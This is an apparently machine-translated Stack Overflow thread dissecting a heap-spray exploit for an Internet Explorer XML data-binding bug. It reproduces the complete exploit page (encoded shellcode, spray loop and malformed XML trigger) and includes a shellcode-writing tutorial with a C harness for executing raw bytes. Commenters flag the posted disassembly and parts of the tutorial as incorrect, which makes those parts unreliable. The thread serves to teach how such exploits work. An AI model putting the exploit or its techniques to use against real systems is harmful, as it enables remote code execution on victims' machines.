このmilw0rmヒープスプレーエクスプロイトはどのように機能しますか?


145

私は通常、JavaScriptコードを読むのに困難はありませんが、このコードではロジックを理解できません。コードは4日前に公開されたエクスプロイトからのものです。あなたはでそれを見つけることができますmilw0rm

これがコードです:

<html>
    <div id="replace">x</div>
    <script>
        // windows/exec - 148 bytes
        // http://www.metasploit.com
        // Encoder: x86/shikata_ga_nai
        // EXITFUNC=process, CMD=calc.exe
        var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");

        // ugly heap spray, the d0nkey way!
        // works most of the time
        var spray = unescape("%u0a0a%u0a0a");

        do {
           spray += spray;
        } while(spray.length < 0xd0000);

        memory = new Array();

        for(i = 0; i < 100; i++)
           memory[i] = spray + shellcode;

        xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://&#x0a0a;&#x0a0a;.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";

        tag = document.getElementById("replace");
        tag.innerHTML = xmlcode;

    </script>
</html>

これが私が信じていることであり、私が誤解している部分について私を助けてください。

変数にshellcodeは、を開くためのコードが含まれていますcalc.exe。彼らがその奇妙な文字列を見つけた方法はわかりません。何か案が?

2つ目は変数ですspray。私はこの奇妙なループを理解していません。

3つ目は、memoryどこでも使用されない変数です。なぜそれを作成するのですか?

最後に:XMLタグはページで何をしますか?


今のところ私は良い答えがありますが、ほとんどは非常に一般的な答えです。コードの価値についてもう少し説明をお願いします。例はunescape("%u0a0a%u0a0a");です。どういう意味ですか?ループについても同じことが言えます。なぜ開発者は次のように書いたのですlength < 0xd0000か?このコードの理論だけでなく、もっと深く理解してほしい。


:あなたは、ヒープスプレーになっているはずですen.wikipedia.org/wiki/Heap_spraying
BobbyShaftoe

このエクスプロイトを正常に実行するにはどうすればよいですか?IEで実行する必要がありますか?
bad_keypoints 2013

回答:


320

シェルコードには、実際のエクスプロイトを実行するいくつかのx86アセンブリ命令が含まれています。sprayに入れられる命令の長いシーケンスを作成しmemoryます。通常、メモリ内のシェルコードの正確な場所を見つけることができないため、多くのnop命令をその前に置いて、そこのどこかにジャンプします。memoryアレイは、ジャンプ機構と共に実際のx86コードを保持します。細工されたXMLをバグのあるライブラリにフィードします。解析されると、バグにより命令ポインタレジスタがエクスプロイトのどこかに割り当てられ、任意のコードが実行される可能性があります。

より深く理解するには、x86コードの内容を実際に理解する必要があります。unscape文字列のバイトのシーケンスをspray変数に入れるために使用されます。ヒープの大きなチャンクを埋め、シェルコードの先頭にジャンプするのは有効なx86コードです。終了条件の理由は、スクリプトエンジンの文字列長の制限です。特定の長さを超える文字列は使用できません。

x86アセンブリでは、を0a0a表しor cl, [edx]ます。これはnop、私たちが悪用するための指示と事実上同等です。のどこにジャンプしてもspray、実際に実行するコードであるシェルコードに到達するまで、次の命令に移動します。

XMLを見ると、0x0a0aそこにもあることがわかります。何が起こるかを正確に説明するには、エクスプロイトに関する特定の知識が必要です(バグの場所とそれがどのように悪用されるかを知る必要がありますが、私にはわかりません)。ただし、innerHtml悪意のあるXML文字列をに設定することで、Internet Explorerにバグのあるコードを強制的に実行させるようです。Internet Explorerはそれを解析しようとしますが、バグのあるコードは、配列が存在するメモリの場所を何らかの形で制御します(大きなチャンクであるため、そこにジャンプする可能性が高くなります)。そこでジャンプすると、CPUはor cl, [edx]メモリに配置されたシェルコードの先頭に到達するまで命令を実行し続けます。

シェルコードを逆アセンブルしました:

00000000  C9                leave
00000001  2B1F              sub ebx,[edi]
00000003  B10C              mov cl,0xc
00000005  BDC536DB9B        mov ebp,0x9bdb36c5
0000000A  D9C5              fld st5
0000000C  2474              and al,0x74
0000000E  5A                pop edx
0000000F  F4                hlt
00000010  EA8331FC0B6A6A    jmp 0x6a6a:0xbfc3183
00000017  03D4              add edx,esp
00000019  07                pop es
0000001A  67305CFF          xor [si-0x1],bl
0000001E  98                cwde
0000001F  BBD7FFA4FE        mov ebx,0xfea4ffd7
00000024  9B                wait
00000025  74AD              jz 0xffffffd4
00000027  058B8B028D        add eax,0x8d028b8b
0000002C  D893BCCD35A2      fcom dword [ebx+0xa235cdbc]
00000032  37                aaa
00000033  B84290A63A        mov eax,0x3aa69042
00000038  94                xchg eax,esp
00000039  E99AA4D58D        jmp 0x8dd5a4d8
0000003E  E5A3              in eax,0xa3
00000040  1F                pop ds
00000041  4C                dec esp
00000042  EB46              jmp short 0x8a
00000044  4B                dec ebx
00000045  8CD0              mov eax,ss
00000047  AD                lodsd
00000048  A844              test al,0x44
0000004A  52                push edx
0000004B  4A                dec edx
0000004C  3B81B80DD748      cmp eax,[ecx+0x48d70db8]
00000052  4B                dec ebx
00000053  D46C              aam 0x6c
00000055  46                inc esi
00000056  1392734A204F      adc edx,[edx+0x4f204a73]
0000005C  F8                clc
0000005D  6E                outsb
0000005E  DC8EA20726B4      fmul qword [esi+0xb42607a2]
00000064  04D4              add al,0xd4
00000066  D084ECBA978221    rol byte [esp+ebp*8+0x218297ba],1
0000006D  7CE8              jl 0x57
0000006F  C0CA8C            ror dl,0x8c
00000072  F4                hlt
00000073  A6                cmpsb
00000074  47                inc edi
00000075  210D2EA0B0CD      and [0xcdb0a02e],ecx
0000007B  2CA8              sub al,0xa8
0000007D  B05B              mov al,0x5b
0000007F  43                inc ebx
00000080  F4                hlt
00000081  24E8              and al,0xe8
00000083  7A9C              jpe 0x21
00000085  BB857DCBA0        mov ebx,0xa0cb7d85
0000008A  7DED              jnl 0x79
0000008C  92                xchg eax,edx
0000008D  09E1              or ecx,esp
0000008F  96                xchg eax,esi
00000090  315580            xor [ebp-0x80],edx

このシェルコードを理解するには、JavaScriptではなく、x86アセンブリの知識とMSライブラリ自体の問題(システム状態を知るため)が必要です。このコードは次に実行されcalc.exeます。


13
この説明のためにあなたからのこの努力に感謝します。+25の評判と私のすべての尊敬。ありがとう
Patrick Desjardins

20
すばらしい回答ですが、良い主人-突然、私はコンピュータが苦手です;-)
ユーザー名

50
私はこの種のエクスプロイトを思いついた人に驚いています。彼らがこれで誰かの銀行口座をハッキングするのに十分賢いならば、彼らは盗むことができるすべてのお金に値する;)
マーティン

8
SOの良い答えの神社があれば、これはその中にあるでしょう。
サンジャシント

6
分解は無意味で完全にランダムに見えます。それは正しくありません。文字列の文字がリトルエンディアンで格納されていると想定して、バイトをスワップしようとしましたが、役に立ちませんでした。
JuhoÖstman、2010年

10

これは、Microsoftが緊急パッチをリリースした最近のInternet Explorerバグの悪用のようです。MicrosoftのXMLハンドラーのデータバインディング機能の欠陥を使用しているため、ヒープメモリが誤って割り当て解除されます。

シェルコードは、バグが発生したときに実行されるマシンコードです。スプレーとメモリは、悪用可能な状態が発生するのを助けるためにヒープ上に割り当てられた単なるスペースです。


Chromeの拡張機能でこのようなことが起こると思いますか?
bad_keypoints 2013


2

エクスプロイトディスカッションでアドレス指定されていないメモリを見つけたとき、私の最初の考えは、エクスプロイトは一種のバッファオーバーフローであり、その場合、メモリがバッファオーバーフローを引き起こしている、またはバッファがオーバーフローするとアクセスされます。


この場合は、ヒープの破損、ヒープベースのバッファオーバーラン、スタックベースのバッファオーバーランではありませんでした。blogs.msdn.com
グラントワーグナー

0

これはmetasploitからのものです。つまり、metasploitシェルコードの1つを使用しています。それはオープンソースなので、そこに行ってつかむことができます:http : //www.metasploit.com/



0

簡単なシェルコードの例

こんにちは、アセンブリat&t構文x86の世界です(トレーニングのウィザード)。

ファイルを設定します。vim shellcodeExample.s

.text           #required
.goblal _start  #required

_start:         #main function
 jmp one        #jump to the section labeled one:

two:
 pop  %rcx         #pop %rcx off the stack, or something
 xor  %rax, %rax   #Clear
 movl 4, %rax      #use sys_write(printf || std::cout)
 xor  %rbx, %rbx   #Clear
 inc  %rbx         #increment %rbx to 1 stdout(terminal)
 xor  %rdx, %rdx   #Clear Registers or something
 movb $13, %dl     #String Size
 int  $0x80

one:
 call two                   #jump up to section two:
 .ascii "Hello World\r\n"   #make the string one of the starting memory 
                            #^-addresses

次のようにコンパイルします。as -o shellcodeExample.o shellcodeExample.s ; ld -s -o shellcode shellcodeExample.o

これで、hello worldを出力するバイナリができました。バイナリをシェルコードタイプに変換するには:objdump -D shellcode

あなたは出力を取得します:

shellcode:     file format elf64-x86-64


Disassembly of section .text:

0000000000400078 <.text>:
  400078:   eb 1a                   jmp    0x400094
  40007a:   59                      pop    %rcx
  40007b:   48 31 c0                xor    %rax,%rax
  40007e:   b0 04                   mov    $0x4,%al
  400080:   48 31 db                xor    %rbx,%rbx
  400083:   48 ff c3                inc    %rbx
  400086:   48 31 d2                xor    %rdx,%rdx
  400089:   b2 0d                   mov    $0xd,%dl
  40008b:   cd 80                   int    $0x80
  40008d:   b0 01                   mov    $0x1,%al
  40008f:   48 ff cb                dec    %rbx
  400092:   cd 80                   int    $0x80
  400094:   e8 e1 ff ff ff          callq  0x40007a
  400099:   68 65 6c 6c 6f          pushq  $0x6f6c6c65
  40009e:   20 77 6f                and    %dh,0x6f(%rdi)
  4000a1:   72 6c                   jb     0x40010f
  4000a3:   64                      fs
  4000a4:   0d                      .byte 0xd
  4000a5:   0a                      .byte 0xa

次に、4行目をテキストで見ると、次のように表示されます。 400078: eb 1a jmp 0x400094

言う部分eb 1aは、アセンブリ命令の16進数表現で、jmp one「1」は文字列のメモリアドレスです。

シェルコードを実行するための準備をするには、別のテキストファイルを開き、16進値を文字配列に格納します。シェルコードを正しくフォーマットするには、\xすべての16進数値の前にaを入力します。

objdumpコマンドの出力によると、次のシェルコードの例は次のようになります。

unsigned char PAYLOAD[] = 
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";

この例では、配列にCを使用しています。これで、標準の「hello world」に書き込むシェルコードが機能しました。

シェルコードを脆弱性に配置してテストするか、次のcプログラムを記述してテストできます。

vim execShellcode.cc; //linux command to create c file.

/*Below is the content of execShellcode.cc*/
unsigned char PAYLOAD[] = 
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";

int main(){
    ((void(*)(void))PAYLOAD)();
    return 0;
}

プログラムをコンパイルするには、次のように入力します。

gcc -fno-stack-protector -z execstack execShellcode.cc -o run

で実行./run あなたがLinuxのミント/ Debianの中で試験したシンプルなシェルコードの開発の作業例を持って知っています。


1
int 0x8064ビットコードで32ビットABIを使用しないでください。カーネルはsyscall argsの下位32ビットのみを参照するため、スタック上の文字列では失敗します。 64ビットコードで32ビットint 0x80 Linux ABIを使用するとどうなりますか?。(その場合、sys_writeが返され-EFAULTmov $1, %al上位ビットが設定されたままになるため、無限ループが作成されるため-ENOSYS、sys_exitの代わりに取得されます)。また、64ビットコードではjmp、文字列を転送してlea、call / popの代わりにRIP相対を使用してアドレスを取得できます。
Peter Cordes

1
これは、デフォルトでPIE実行可能ファイルをビルドするgccでも失敗します。静的ストレージのchar配列でさえ、下位32ビットの外側になるためです。(そして、そうであった場合、それはconst char payload[]テキストセグメント(.rodataセクション内)にあり、必要ありません-z execstack。)
Peter Cordes

1
また、movl 4, %raxゼロバイトが含まれます(オペランドサイズの不一致のためにアセンブルされず、aがない$ため、4は絶対アドレスです)。ソースの初期バージョンを投稿したと思います。以前のコメントは、sys_exit呼び出しを追加した逆アセンブリを調べたものです。
Peter Cordes
弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.